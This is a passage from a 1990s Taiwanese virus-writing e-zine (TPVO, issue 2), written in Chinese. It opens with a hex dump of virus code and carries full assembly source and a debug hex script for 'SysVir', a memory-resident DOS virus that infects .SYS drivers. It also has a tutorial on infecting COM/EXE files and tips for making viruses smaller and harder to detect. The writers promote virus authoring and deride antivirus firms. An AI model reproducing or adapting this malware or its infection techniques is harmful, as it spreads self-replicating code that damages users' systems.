E01F0 B8 AB 02 AB 8C D8 AB 0E 0E 1F 07 C3 FC 3D 99 4B
E0200 75 04 B8 66 4B CF 80 FC 3D 75 03 E8 2E 00 80 FC
E0210 3E 75 03 E8 B7 00 3D 00 4B 75 03 E8 08 00 E8 71
E0220 01 EA 00 00 00 00 50 53 B8 00 3D E8 5B 01 72 09
E0230 93 E8 99 00 B4 3E E8 50 01 5B 58 C3 50 53 51 52
E0240 1E 06 57 B8 00 3D E8 40 01 72 7A 93 0E 1F B4 3F
E0250 B9 05 00 BA D8 02 E8 30 01 81 3E DB 02 50 4D 75
E0260 5F 53 B8 20 12 CD 2F 26 8A 1D B8 16 12 CD 2F 5B
E0270 26 C6 45 02 02 26 FF 75 03 26 C6 45 04 00 26 8B
E0280 45 11 2D 05 00 26 89 45 15 B4 3F B9 05 00 BA D8
E0290 02 E8 F5 00 26 C7 45 15 00 00 B4 40 B9 05 00 BA
E02A0 D8 02 E8 E4 00 26 8B 45 11 2D DD 02 26 89 45 15
E02B0 B4 40 33 C9 E8 D2 00 26 8F 45 03 26 80 4D 06 40
E02C0 B4 3E E8 C4 00 5F 07 1F 5A 59 5B 58 C3 50 53 51
E02D0 52 1E 06 57 0E 1F 53 B4 45 E8 AD 00 93 B4 3E E8
E02E0 A7 00 5B 53 B8 20 12 CD 2F 26 8A 1D B8 16 12 CD
E02F0 2F 5B 33 C9 26 81 7D 28 43 4F 75 05 26 80 7D 2A
E0300 4D 75 04 26 39 4D 13 75 14 26 8B 45 11 3D 05 00
E0310 72 6F 3D 00 F8 77 6A 26 8A 45 04 A8 04 75 62 50
E0320 26 88 4D 04 26 C6 45 02 02 26 8B 45 11 2D 03 00
E0330 A3 D4 02 26 89 4D 15 26 89 4D 17 B4 3F B1 05 BA
E0340 D8 02 E8 44 00 81 3E DB 02 50 4D 74 2F A1 D8 02
E0350 02 C4 3C A7 74 26 33 C9 26 89 4D 15 B4 40 B1 05
E0360 BA D3 02 E8 23 00 26 8B 45 11 26 89 45 15 B4 40
E0370 B9 DD 02 99 E8 12 00 26 80 4D 06 40 58 26 88 45
E0380 04 5F 07 1F 5A 59 5B 58 C3 E8 06 00 9C 0E E8 90
E0390 FE C3 51 1E 06 56 57 0E 1F BE CE 02 C4 3E 22 01
E03A0 B9 05 00 F3 A4 5F 5E 07 1F 59 C3 50 06 57 2E C4
E03B0 3E 22 01 B0 EA AA B8 FC 00 AB 8C C8 AB 5F 07 58
E03C0 0A E4 74 05 EA 00 00 00 00 EA 00 00 00 00 00 00
E03D0 00 00 00 E9 00 00 50 4D CD 20 00 00 00
RCX
02DD
W
Q





台 湾 威 力 病 毒 组 织 病毒杂志
第 二 期

★前言★
这是多么令人感慨的一件事啊... 我不知道为何要有人要反对
我们组织!基本上本组织的并没有大家想像中的坏,为什么要搞那
种小动作呢?我想了一想,我们的国内的病毒风气实在落后国外太
多!不管是写毒的也好,写防毒的也好,一直在封锁病毒的资讯!
不会写毒的害怕别人学,因此就不断排斥病毒作者,其实我们要先
想想看?你自己也是不是在写毒呢?因此不要因为这样感到不满,
处处与本组织作对,因为我们全死光了,你能保证天下就从此太平
吗?我非常讨厌那群防毒公司!彼此为了靠病毒赏口饭吃,就排除
异己!这种是很要不得的观念!小心夜路走多了见鬼罗...
诸葛


一.感染 .SYS 病毒 by Dark Slayer
二.档案型病毒原理 by Zhuge Jin
三.病毒减肥记 by Dark Slayer
四.8087 变体引擎 by Zhuge Jin
五.ANSI 病毒 by Dark Slayer
六.CKEISC by Hero Wu
七.Oolong by Edward Kuo
八.Flavour by Dark Killer
九.PTAV 注册器 by Zhuge Jin
十.Midinf by Dark Slayer
十一.VICE 侦毒研究 by Zhuge Jin
十二.学术网路漫谈 (附录)


黄瑞强:听讲你有退休的念头?真地还假地... 不要退休嘛!这样我们会无聊咧...
趋 势:嗯!VICE 有看头!把他变得更强吧!跟 PTAV 一较长短!
金 帅:收敛些!没人当你空气看!
冯文俊:小子!还在玩病毒?听说你还食物中毒?呵...
杨世丞:饶了人吧!不要再找挑某某人的 bug 吧!
Burglar:我再问你一次...『你倒底是不是 Slash?』
Htk:嗯!我求求你教坏我们吧?让我们成为 UNIX 上的 Hackers?
国内的病毒作者们,在此希望你们能更上一层楼!不要以管窥天,不要制造混乱,大家一起
将台湾
的病毒界变得更光明吧!


TpVOtPVoTpvOTpVOtpVoTPvOTPVOtpVOTPvOtPVOtPVOtPvOTPvOTpVoTPVO
PT OT
VP 台 湾 威 力 病 毒 组 织 病毒杂志 第 二 期 TP
oV PV
TO   感染 .SYS 病毒   Vo
pT OT
VP by Dark Slayer VP
OV OV
OVTPVoTpvOtPvoTPVOtPvoTpVotpvoTpVotpvOtPvoTpVOtpvOTPvOTpvOTP

哈罗!本篇文章又有特别的东西了,在这边要跟大家介绍 sys 档的感染方
法,我相信 COM/EXE 的病毒都被大家写烂了, 就是很少会有人去写 sys
档的病毒,我想... 大概是因为 sys 档的流动性不大,且在可执行档中它
占有的比例不大,所以不易流传出去,也就不会有人愿意去写罗... 想想
看,你会特别到同学家,就为了要抠 sys 档吗?这种机率很小吧?!但是
撇开传染能力不讲,写只 sys 档的病毒还是很有趣的,又能趁机了解 sys
档的结构, 其实要使它传染力变强也不难,加个复合型,又感染 COM/EXE/
NEXE (Windows 的可执行档) ,哇... 帅呆了 :O
首先我们来谈谈什么是 sys 档,它是驱动程式(driver),用来管理周边设
备,DOS 的驱动程式可随需要而选择,如此一来使得 DOS 变的很有弹性,
一般都是用组合语言来写,但是也有人用 C 来写,虽然省时省事,但却是
浪费记忆体的一种好方法,各有利弊!
装置驱动程式分为两大类, 字元装置和区块装置,字元装置以位元组为单
位,像印表机、萤幕、串列介面...等,字元装置都有名称,像萤幕 ->con
,列表机 ->lpt ...等,名称最长可达 8 个字元,而区块装置是以一块一
块的方式处理资料,像 软碟、硬碟、光碟... 等,它们没有名称,但是用
字母代表,像 C: (代表 C 磁碟),而一个字母有可能对应到许多个硬体,
一个硬体也可以对应到许多个字母。
Ok!以上讲的那些只是基本概念,对于写毒方面并不重要,最重要的还是了
解驱动程式的档案结构,如下:
■ 驱动程式档头的格式
偏移 大小 描述
00h DWORD 如果是在档案中的话,它用以指向下一个档头 (低字组的
部份),如果是最后一个档头,则其值为 0FFFFFFFFh,一
般的驱动程式,在同一个档案内,只有一个档头,所以一
开始的 4 bytes 应该是 0FFFFFFFFh
如果是在记忆体中的话 (被执行过后),它只向下一个驱
动程式的档头,并且以 0FFFFh 为结束
04h WORD 驱动程式的属性字组 (用以表示文字装字或区块装置及其
它特性)
06h WORD 策略常式的偏移字组 (strategy routine offset)
08h WORD 中断常式的偏移字组 (interrupt routine offset)
0Ah 8 BYTEs 装置名称 (device name),如果是文字装置的话,那就是
8 bytes,向左对齐,以空白填满,如果名称和现有的驱
动程式重复,则会取代原先的 (像 ANSI.SYS 取代原先的
CON),若是区块装置,则此栏位的第一个 byte 对应到驱
动程式的的逻辑编号
如果是纯 sys 档的话,那么一开始就是我们上面所讲的到档头,但如果是
EXE 档格式的驱动程式,则一开始是 MZ 的 EXE 档头,而其资料区段 (就
是用 debug 载入此 EXE 档后,psp:100h 的位置) 即是驱动程式档头, 所
以一个 EXE 档可以既可当一般的程式来执行,亦可当驱动程式(像emm386)

关于驱动程式的详细运作方式我们不需要了解, 除非你想研究或是写一只
像 Dir-2 那种类型的病毒,此毒利用 int 21h/ah=52h 取得驱动程式串链
(就是上面所讲的,偏移 0 的部份),然后找到控制磁碟的区块装置,再将
它改成指向自己 (就好像是拦中断一样),所以它是驱动程式阶层的东西,
和 Assassin 那种拦 DOS int 21h 内部的原理是完全不同的!
DOS 会先 far call 策略常式,传给策略常式一个指标,标准写法是...
此策略常式要将此指标储存起来,等到 DOS far call中断常式后,再将此
指标取出,利用其所指向的记忆体作为接收命令与传回状态之用, 所以我
们可以更改策略常式(or中断常式) 的偏移值,使其指向我们的病毒,当我
们的病毒取得控制权后,首先要将原先的策略常式 (or 中断常式) 恢复,
改回未感染前的值,然后搬至某处记忆体,再拦 int 21h,记住! 此时我
们不能用正常的常驻方式,因为这时候 DOS 对于记忆体的管理还在临界阶
段,所以只能搬到某个不会被覆盖到的地方,而病毒的 int 21h 就得比较
DOS 是否已经 call int 21h/4b00h 的功能 (用来执行 command.com),如
果是的话!!就可以配置一块记忆体,然后搬过去住...
Ok!讲了那么多,如果你对撰写 DOS 的驱动程式有兴趣的话,建议你去买
本书来看,底下就是 sys 病毒的范例... 可直接在 DOS 下执行,然后找
个有 sys 档的目录,dir 后就会感染,dir 一次感染两个档案,你也可以
建个目录,然后把一些 sys copy 过去,再感染, 然后修改 config.sys
把这些档案挂上去看看...
;======================= Begin of sysvir.asm ================================
vir_size equ offset vir_end-offset start
mem_size equ offset mem_end-offset start
mem_para equ (mem_size+0fh)/10h
.model tiny
.code
org 0
start:
vir_stgy: pushf ; 病毒的 straegy
push ax cx si di ds es
call delta ; 重定位
delta: pop si
sub si,offset delta-offset start
push cs ; ds = cs
pop ds
xor di,di ; di = 0
mov ax,ds:old_stgy[si] ; 取出原档案的 straegy offset
mov ds:dh_stgy[di],ax ; 恢复 straegy offset
mov ax,ds:old_name[si] ; 取出原档案的 device name
mov word ptr ds:dh_name[di+6],ax ; 恢复 device name
mov es,di ; es = di = 0
cmp byte ptr es:[4fah],0eah ; 是否已经常驻?
je run_host ; 是则离开, 不需再常驻
mov ax,4fah ; 修改 int 21h 指向 0000:04fah
xchg ax,es:[21h*4]
mov ds:old21[si],ax
xor ax,ax
xchg ax,es:[21h*4+2]
mov ds:old21[si+2],ax
; 修改 0000:04fah 使 jmp xxxx:xxxx 跳
; 至病毒的 vir_int21
mov byte ptr es:[4fah],0eah
mov word ptr es:[4fah+1],offset vir_int21
int 12h ; 取得计忆体大小 (kilo size)
sub ax,150 ; 我们暂时常驻在倒数 150k 的地方
mov cl,6
shl ax,cl
mov es:[4fah+1+2],ax
mov es,ax
mov cx,vir_size
cld
rep movsb ; 搬家, 搬到临时住所
mov ah,4
int 1ah ; 取得日期
and dl,0fh
cmp dl,1 ; 是否为 x 月 1/11/21/31 日?
jne run_host ; 不是则离开
lea dx,[si-vir_size+offset msg]
mov ah,9
int 21h ; 印出讯息
run_host: pop es ds di si cx ax
popf
jmp word ptr cs:dh_stgy ; 跳到原驱动程式的 straegy
msg db 0dh,0ah,' SysVir by Dark Slayer '
db 'of [TPVO] in Keelung, Taiwan ',0dh,0ah,7,'$'
vir_int21: cmp ax,4b00h ; 执行档案
jne vir_int21_ ; 不是则离开
push ax bx cx si di ds es
mov ah,48h
mov bx,mem_para
call int21 ; 配置一块记忆体来常驻
xor di,di
mov ds,di ; ds = di = 0
mov word ptr ds:[4fah+1],offset vir_int21_
; 重设 0000:04fah 使其跳至 vir_int21_
mov ds:[4fah+1+2],ax ; 指向新的区段
mov es,ax
xor si,si
mov cx,vir_size
cld
rep movs byte ptr es:[di],cs:[si] ; 开始搬家
dec ax
mov ds,ax
mov word ptr ds:mcb_owner_psp,8 ; 将此记忆体标为系统
pop es ds di si cx bx ax
vir_int21_: cmp ah,11h ; dir?
je dir ; 若是则找个 sys 档来感染
jmp vir_int21_exit
dir: push ax bx cx dx si di bp ds es
mov ah,2fh
call int21 ; 取得 dta 位址
push bx es ; 保存起来
mov ah,1ah
mov dx,offset vir_dta
push cs
pop ds
call int21 ; 设置我们自己专用的 dta
mov ah,4eh
xor cx,cx
mov dx,offset find_file_name
find_file: call int21 ; 搜寻 *.sys 档
jc no_files ; 若已经没有档案则离开
xor bp,bp ; bp = 0 (当旗标, 表示还没感染到档案)
mov ax,3d02h
mov dx,offset vir_dta+dta_file_name
call int21 ; 开启找到的这个档
xchg bx,ax
mov ah,3fh
mov cx,18
mov dx,offset file_data
mov si,dx
call int21 ; 读取 18 bytes 至 file_data
mov ax,word ptr ds:[si+dh_link]
inc ax ; 比较档案开头的 2 words 是否
jnz close_file ; 为 0ffffh ?? (一般非 exe 档
dec ax ; 格式的驱动程式)
cmp ax,word ptr ds:[si+dh_link+2]
jne close_file
mov ax,'DS'
cmp ax,word ptr ds:[si+dh_name+6]
; 比较装置名称是否以经有 mark 'DS'
je close_file ; 有! 表示已经感染过, 那就不再感染
xchg ax,word ptr ds:[si+dh_name+6] ; 设 mark
mov ds:old_name,ax ; 并将原来的名称保存
mov ax,word ptr ds:vir_dta[dta_file_size]
; 从 dta 中取得档案大小
xchg ax,word ptr ds:file_data[dh_stgy]
; 将此档的 strategy 改至档尾, 也就是病毒的开端
mov ds:old_stgy,ax ; 保存旧的
mov ax,4200h
xor cx,cx
cwd
call int21 ; 移动读写指标至档头
mov ah,40h
mov cl,18
mov dx,offset file_data
call int21 ; 写入新档头
mov ax,4202h
xor cx,cx
cwd
call int21 ; 移至档尾
mov ah,40h
mov cx,vir_size
call int21 ; 写入病毒
inc bp ; bp = 1 (表示已经感染过一个档案)
close_file: mov ah,3eh
call int21 ; 关档
mov ah,4fh ; ah = 4fh (搜寻下一个档案)
or bp,bp ; 已经感染过档案?
jz find_file ; 还没, 那再搜寻下一个档案吧
no_files: mov ah,1ah
pop ds dx
call int21 ; 恢复原先的 dta 位址
pop es ds bp di si dx cx bx ax
vir_int21_exit: db 0eah
old21 dw ?,? ; 跳至 dos 的 int 21h
int21: pushf
push cs
call vir_int21_exit
ret
find_file_name db '*.sys',0
old_stgy dw 0
old_name dw ?
vir_end:
vir_dta db 2ch dup(?)
file_data db 18 dup(?)
mem_end:
driver_header struc
dh_link dd ?
dh_attribute dw ?
dh_stgy dw ?
dh_intr dw ?
dh_name db 8 dup(?)
driver_header ends
mcb struc
mcb_mark db ?
mcb_owner_psp dw ?
mcb_para dw ?
mcb ends
dta struc
db 15h dup(?)
dta_file_attribute db ?
dta_file_time dw ?
dta_file_date dw ?
dta_file_size dd ?
dta_file_name db 13 dup(?)
dta ends
end start
;======================= End of sysvir.asm ==================================
n sysvir.com
e 0100 9C 50 51 56 57 1E 06 E8 00 00 5E 83 EE 0A 0E 1F
e 0110 33 FF 8B 84 B4 01 89 45 06 8B 84 B6 01 89 45 10
e 0120 8E C7 26 80 3E FA 04 EA 74 4D B8 FA 04 26 87 06
e 0130 84 00 89 84 A4 01 33 C0 26 87 06 86 00 89 84 A6
e 0140 01 26 C6 06 FA 04 EA 26 C7 06 FB 04 BD 00 CD 12
e 0150 2D 96 00 B1 06 D3 E0 26 A3 FD 04 8E C0 B9 B8 01
e 0160 FC F3 A4 B4 04 CD 1A 80 E2 0F 80 FA 01 75 08 8D
e 0170 94 CB FE B4 09 CD 21 07 1F 5F 5E 59 58 9D 2E FF
e 0180 26 06 00 0D 0A 20 53 79 73 56 69 72 20 62 79 20
e 0190 44 61 72 6B 20 53 6C 61 79 65 72 20 6F 66 20 5B
e 01A0 54 50 56 4F 5D 20 69 6E 20 4B 65 65 6C 75 6E 67
e 01B0 2C 20 54 61 69 77 61 6E 20 0D 0A 07 24 3D 00 4B
e 01C0 75 37 50 53 51 56 57 1E 06 B4 48 BB 20 00 E8 D7
e 01D0 00 33 FF 8E DF C7 06 FB 04 F9 00 A3 FD 04 8E C0
e 01E0 33 F6 B9 B8 01 FC F3 2E A4 48 8E D8 C7 06 01 00
e 01F0 08 00 07 1F 5F 5E 59 5B 58 80 FC 11 74 03 E9 A2
e 0200 00 50 53 51 52 56 57 55 1E 06 B4 2F E8 99 00 53
e 0210 06 B4 1A BA B8 01 0E 1F E8 8D 00 B4 4E 33 C9 BA
e 0220 AE 01 E8 83 00 72 6C 33 ED B8 02 3D BA D6 01 E8
e 0230 76 00 93 B4 3F B9 12 00 BA E4 01 8B F2 E8 68 00
e 0240 8B 04 40 75 43 48 3B 44 02 75 3D B8 53 44 3B 44
e 0250 10 74 35 87 44 10 A3 B6 01 A1 D2 01 87 06 EA 01
e 0260 A3 B4 01 B8 00 42 33 C9 99 E8 3C 00 B4 40 B1 12
e 0270 BA E4 01 E8 32 00 B8 02 42 33 C9 99 E8 29 00 B4
e 0280 40 B9 B8 01 E8 21 00 45 B4 3E E8 1B 00 B4 4F 0B
e 0290 ED 74 8F B4 1A 1F 5A E8 0E 00 07 1F 5D 5F 5E 5A
e 02A0 59 5B 58 EA 00 00 00 00 9C 0E E8 F6 FF C3 2A 2E
e 02B0 73 79 73 00 00 00
rcx
1B6
w
q

TpVOtPVoTpvOTpVOtpVoTPvOTPVOtpVOTPvOtPVOtPVOtPvOTPvOTpVoTPVO
PT OT
VP 台 湾 威 力 病 毒 组 织 病毒杂志 第 二 期 TP
oV PV
TO   档 案 型 病 毒   Vo
pT OT
VP by Zhuge Jin VP
OV OV
OVTPVoTpvOtPvoTPVOtPvoTpVotpvoTpVotpvOtPvoTpVOtpvOTPvOTpvOTP

最近有人问起档案型病毒的原理,因此我就花点时间来介绍一下,因为档案型病毒
在写作上比较符合一般初学者的写作,所以希望各位初学者好好看,相信你应该会
了解档案的运作及 DOS 的一些使用功能!
**********
DOS 的结构
**********
DOS 可以分成三个部份,第一载入就是 BIOS 模组 (IO.SYS) ,这个部份是 DOS 中
依赖硬体的基本 I/O 界面!而接著再入的就是 DOS 的系统核心 (MSDOS.SYS) ,这
个模组主要为我们病毒提供了一些好棒好用的东西。换句话说,一些 DOS 中断在这
里建立,在来就是执行 DOS Shell 的程式,也就是 COMMAND.COM !而这里要说的
是 int 21h 是由 DOS 核心 (Kernel) 时所设置,而 int 24h 则在 COMMAND.COM 载
入时被重设一次,这点要明白!而之中的载入细节有很多,许多书有的都有列张流程
表,希望大家最好去找书翻翻,这样观念会比较清析!
*************
PSP 与 COM 档
*************
当你用 debug 载入一个 .COM 档时你会发觉 IP 是指向 0100h ? 那么 0100h 之前
的什么 100h bytes 是作为什么用途呢?这就是程式段前置 (PSP) ,他告诉本程式
所处的周围状况,决定这程式将如何工作,程式结束后如何返回!
■ PSP (参考)
DS:0000h dw 0CD20h ;int 20h
0002h dw ? ;暂存程式记忆体区段顶端的分段位置,表可用记忆体最大
;段位址
0004h db ?
0005h db 5 dup(?) ;call xxxx:xxxxh 用于完成 DOS int 21h 的功能呼叫,此
;时 cl=ah (00h-23h)
000ah dd ? ;原 int 22h 中断的进入位址
000eh dd ? ;原 int 23h 中断的进入位址
0012h dd ? ;原 int 24h 中断的进入位址
0016h dw ? ;父程式 PSP 位址
0018h db 20 dup(?) ;档案头衔表 (FHF) ,共 20 bytes ,决定该行程可以同时
;开 20 个档案
002ch dw ? ;环境变数区 (Environment) 的段位址
002eh dd ? ;堆叠指标记录区
0032h dw ? ;档案头衔表的大小,预设值是 20
0034h dd ? ;档案头衔表的起始位址,预设值是 ds:0018h
0038h dd ? ;SHARE 指向前一个 PSP 的指标,预设值为 0ffffffffh
003ch db ?
003dh dw ?
003fh db ?
0040h dw ? ;行程对应的 DOS 版本
0042h dw 14 dup
0050h db 3 dup(?) ;int 21h retf
0053h dw ?
0055h db 7 dup(?) ;FCB 控制块的扩充部份
005ch db 16 dup(?) ;第一个 FCB 控制块
006ch db 16 dup(?) ;第二个 FCB 控制块
007ch dd ?
0080h db 80h dup(?);磁碟传送区 (DTA)
现在来说 COM 档在载入的时,CS 、DS 、ES 、SS 都会指向 PSP ,而 PSP 的大小
为 100h bytes 所以程式就由 0100h 开始载入... 了解吧!
当你了解 DOS 如何载入时,你也会想到病毒用什么方法来运作吧!其实如果病毒将
他自己加在 COM 档的档尾,而在档案开始就放一道 jmp xxxxh 来指向病毒,你说
会发生什么事呢?
ds:0000h┌───┐ ds:0000h┌───┐
│PSP │ =====> │PSP │
cs:0100h├───┤程式由 中 cs:0100h├───┤jmp vir_
│原程式│此执行 毒 │原程式│
└───┘ 后 cs:vir_ └───┘
│ 病毒 │
└───┘jmp 原程式
如此一来,中毒的档案一开始就被先执行病毒,然后再将档案开头的 jmp vir_ 改
回原来的程式码,接著就跳到原程式去罗!然而病毒并非只有这种方法才可感染
COM 档!像十三号星期五就是将病毒放在一开头,而将原程式加在病毒的后面!执
行的时后,病毒是先被执行的,然后病毒将病毒尾巴的原程式搬到 cs:0100h 的位
置,接著就是 jmp cs:0100h 去罗!还有的病毒会将病毒写入档案的开头,而开头
被覆盖的部份就加在档尾,原理说穿了就是终究病毒在怎样变化,最终的关键仍在
cs:0100h 这里打转... 而本期中我们可爱的 DS 写了一只叫做 Midinf 的毒,这
只毒可以在原程式中『任一个位置』放一道 jmp 来指向病毒,因此流程变成先执
前原程式的一部份接著在执行病毒,最后在执行原程式的后半部份...
************
EXE 与重定位
************
COM 档最大的缺点就是长度不可超过 64K ,而程式执行的进入点固定在 cs:0100h
的位置。而 EXE 档就不同罗!程式码 、资料与堆叠可利用不同的记忆体区段!使
程式能突破 64K 的限制,也因此一些大程式都是用 EXE 档的格式来执行的!
■ EXE 档头资讯 (参考)
0000h dw ? ;db 'MZ' 表是为 EXE 档,如果一个延伸档名是 EXE ,而开头并没
;MZ 这两字,则 DOS 就认为 COM 档的格式
0002h dw ? ;EXE 档案长度除以 512 的余数
0004h dw ? ;EXE 档案长度除以 512 的商数,如余数为 0 则不加 1
0006h dw ? ;重定位表的数目
0008h dw ? ;档头的 para 数 (para=16 bytes)
000ah dw ? ;程式所需最少的记忆体
000ch dw ? ;程式所需最大的记忆体
000eh dw ? ;初始化 SS 值,程式载入时的起始段位址在加上此值,就是程式执行
;时的 SS 值
0010h dw ? ;SP
0012h dw ? ;Checksum
0014h dw ? ;IP
0016h dw ? ;初始化 CS 值,程式载入时的起始段位址在加上此值,就是程式执行
;时的 CS 值
0018h dw ? ;重定位表的的起始值 (相对于档头的偏移)
EXE 档最麻烦的地方就是档头罗!首先抓一个来开刀,我就随便写个范例来说明...
.MODEL SMALL
.CODE
begin:
mov ax,@data ; ax 指向 .data
mov ds,ax
mov ah,09h
mov dx,OFFSET ver_
int 21h
mov ax,@data ; ax 指向 .data
mov ax,4c00h
int 21h
.DATA
ver_ db 'TEST!$'
.STACK
END begin
Okay!将上面的程式码用 tasm 编成 EXE 档,然后用在将 EXE 档 copy 成一个非
延伸档名为 EXE 的档案... (本例中 TEST.EXE 为 538 bytes)
C:\TEMP>symdeb test.bin
Microsoft Symbolic Debug Utility
Windows Version 2.00
(C) Copyright Microsoft Corp 1984,1985,1986
Processor is [80286]
-d100 lcx _____档头长度=0020h*10h=200h 可用来指向程式码(C)
4193:0100 4D 5A 1A 00 02 00 02 00-20 00 41 00 FF FF 02 00 MZ...... .A.....
^^^^^ ^^^^^商数=1 余数不为 0 ^^^^^SS
余数=538-512=26=1ah
4193:0110 00 04 00 00 00 00 00 00-22 00 00 00 01 00 FB 20 ........".....{
^^^^^SP ^IP^^ ^^CS^ ^^^^^重定位表起始(就是现在的 4193:0122h)
4193:0120 72 6A 01 00 00 00 0D 00-00 00 00 00 00 00 00 00 rj..............
^^^^^ ^(*)^ ^^^^^ ^(*)^
指向(L1) 指向(L2)
4193:0130 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
4193:0140 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
... << 省略 >> ...
4193:02E0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
4193:02F0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
4193:0300 B8 01 00 8E D8 B4 09 BA-04 00 CD 21 B8 01 00 B8 8...X4.:..M!8..8
^^^^(C) ^^^^^(L1) ^^^^^(L2)
4193:0310 00 4C CD 21 54 45 53 54-21 24 .LM!TEST!$
-q ^^^^^^^^^^^^^^^^^ (D)
C:\TEMP>_
C:\TEMP>symdeb test.exe
Microsoft Symbolic Debug Utility
Windows Version 2.00
(C) Copyright Microsoft Corp 1984,1985,1986
Processor is [80286]
-r * SP 、IP 跟上面的栏位一样,载入时并没改变
AX=0000 BX=0000 CX=001A DX=0000 SP=0400 BP=0000 SI=0000 DI=0000
DS=41A1 ES=41A1 SS=41B3 CS=41B1 IP=0000 NV UP EI PL NZ NA PO NC
* DS 、ES 指向 PSP ^^^^ ^^^^ SS 、CS 则由该栏位加上 PSP 值(DS) 在加上
PSP 的长度(10h para)
如:CS:=0000h+41a1+10h=41b1h
SS:=0002h+41a1+10h=41b3h
41B1:0000 B8B241 MOV AX,41B2
^^^^这里就跟重定位有关了!此值就是上面的(L2)
,DOS 会根据载入时的 CS 值作位移调整,所以此
-u 值就是 0001h+41b1h!
41B1:0003 8ED8 MOV DS,AX
41B1:0005 B409 MOV AH,09
41B1:0007 BA0400 MOV DX,0004
41B1:000A CD21 INT 21
41B1:000C B8B241 MOV AX,41B2
^^^^
41B1:000F B8004C MOV AX,4C00
41B1:0012 CD21 INT 21
41B1:0014 54 PUSH SP ;这里开始就是 .DATA
-q
C:\TEMP>_
到这里你应该知道 DOS 如何将 EXE 档载入吧!当然了!EXE 档案在载入比 COM 档还
麻烦,但他们的程式码开头在记忆体当中都是紧跟在 PSP 的背后 (EXE 档则是以档头
后的部份为开头,而档头固定为 512 bytes 的倍数) !不过有些档案他的重定位表很
畸形,如: TEST.BIN 中的 (*) 号在有些档会有奇怪的数值?Well... 如果我把这个
WORD 加上 0001h 看会怎样呢?
_____有改 _____没改
4193:0120 72 6A 01 00 01 00 0D 00-00 00 00 00 00 00 00 00 rj..............
^^^^^ ^(*)^ ^^^^^ ^(*)^
指向(L1) 指向(L2)
-r
AX=0000 BX=0000 CX=001A DX=0000 SP=0400 BP=0000 SI=0000 DI=0000
DS=4156 ES=4156 SS=4168 CS=4166 IP=0000 NV UP EI PL NZ NA PO NC
4166:0000 B80100 MOV AX,0001
^^^^ 咦!
-u
4166:0003 8ED8 MOV DS,AX
4166:0005 B409 MOV AH,09
4166:0007 BA0400 MOV DX,0004
4166:000A CD21 INT 21
4166:000C B86741 MOV AX,4167
^^^^ 咧!
4166:000F B800B2 MOV AX,B200
^^ 喝!CS 值被加在这里了!OFFSET:=0011h
4166:0012 0E PUSH CS
^^
4166:0013 215445 AND [SI+45],DX
4166:0016 53 PUSH BX
4166:0017 54 PUSH SP
4166:0018 2124 AND [SI],SP
换句话说,其中的 1 是重定位表中的 1 没错,而 10h 则是我们改的那个 1 !这
点就代表如果一个 EXE 档载入时,其起始的 CS 为 5000h ,而如果重定表第一项是
0010:0001h 的话,则 5010:0001h 要加上 CS 值!这样应该很清楚这个小秘密吧!
嗯!这个部份在 DOS 中的 SETVER.EXE 就会有这种情形,大家可以去证实看看!我
只有看过一本书有说到这个细节 (虽然那本书我起初看不懂再说什?) ,不过要实际
去 trace 才知道。
Okay!那我们现在再说病毒要如何感染 EXE 档呢? 就是将病毒加在档尾,然后将档
头的 CS:IP 与 SS:SP 指向病毒的程式开头与堆叠!这一来程式执行就变成先执行
病毒,然后病毒在将 CS:IP 与 SS:SP 恢复,最后再执行原程式!
说到这点,几乎所有会感染 EXE 档的病毒都用上面的方法!但如果我将病毒如同
COM 档的方式插入 EXE 档头前面的话? 嘿!那我跟你讲,这个档案就变成 COM 档
的格式罗!因为 DOS 在载入 EXE 档时会先判断先前的 WORD 是否为 MZ ? 如果否
就以 COM 档来载入... 所以这个方法会使原程式应该重定位的部份没重定位?怎办
呢?嘻!就交由病毒来重定位不就得了!
说到这个方法令我想到有一种程式,可将已被压缩的 EXE 档作复原!当然我不是指
UNP 这种东西,而是一种教人先用 debug 去 trace 被压缩的 EXE 档,当解压完后
再将程式写入一个档,同时将目前 CS:IP SS:SP 等抄起来,然后离开 debug 在执
行一个常驻程式?接著也再做上次同样的动作!到最后用一个程式来造出一个新 EXE
档!其实这个我在想应该是用来在计算重定位的位址,中间执行一个 TSR 使得程式
能够参考这两个档的不同点,因而推算出重定表来建立 EXE 档的档头!
这里就收场罗!该说都没说,不该说的都说了!还是希望大家去 trace !虽然我知
道 debug 很烂,不果也将就吧!有得用就好啦!在此祝各位身体健康,天天有马子
陪... 喔!戒色啊!戒色啊!
猪 哥 绝笔
TpVOtPVoTpvOTpVOtpVoTPvOTPVOtpVOTPvOtPVOtPVOtPvOTPvOTpVoTPVO
PT OT
VP 台 湾 威 力 病 毒 组 织 病毒杂志 第 二 期 TP
oV PV
TO   病 毒 减 肥 记   Vo
pT OT
VP by Dark Slayer VP
OV OV
OVTPVoTpvOtPvoTPVOtPvoTpVotpvoTpVotpvOtPvoTpVOtpvOTPvOTpvOTP

看到这个标题也许你会感到迷惑,为什么要帮病毒减肥?怎么帮病毒
减肥?因为越精小的毒越不容易被发现,那些短小精悍的毒总是很迷人的
,减少病毒的 size,有许多好处,如:减少记忆体与磁碟空间的占用量
,相对的,也减短了在磁碟读写时所需的时间,所以... 我们的目的就是
『以更小的 size 写出功能相同的毒』。
底下就是写出更小的毒所要注意的:
1. 如果 al/ax 有「空」的话,就尽量使用它!
有写过变体引擎的人一定了解,在 80x86 的指令集里,像:
05 34 12 add ax,1234h
2c 10 sub al,10h
35 78 56 xor ax,5678h
之类的指令,比对其它暂存器做相同的运算所产生出来的程式码小。
2. 如果是 mov reg,ax 或 mov ax,reg,并且 mov 之后,来源运算元的
值就不再使用了,那么改成 xchg reg,ax 会更好!
如:在开档时...
mov ax,3dxxh
int 21h
xchg bx,ax ; 把 handle 传给 bx,用 xchg 比用 mov 小
3. 如果是 mov reg,bx/bp/si/di,add reg,xxxx,那倒不如使用...
lea reg,[bx/bp/si/di+xxxx]
如:mov cx,si
add cx,9876h
= lea cx,[si+9876h],但是使用 lea 较小。
4. 取直接位址给暂存器时,用 mov reg,offset ,而不用 lea reg,!
如:使用 mov bx,offset var1 比 lea bx,ds:var1 优。
5. 对暂存器加/减 1~2 时,采用 inc/dec 而不要用 add/sub,而对记
忆体而言,则是在加/减 1 时,采用 inc/dec,甚至对 si/di 加/减
1~4 时,用 lodsb/w、scasb/w 来对 si/di 加/减,但是要考虑到
方向旗标和 al/ax 是否能改变 (在使用 lodsb/w 时)。
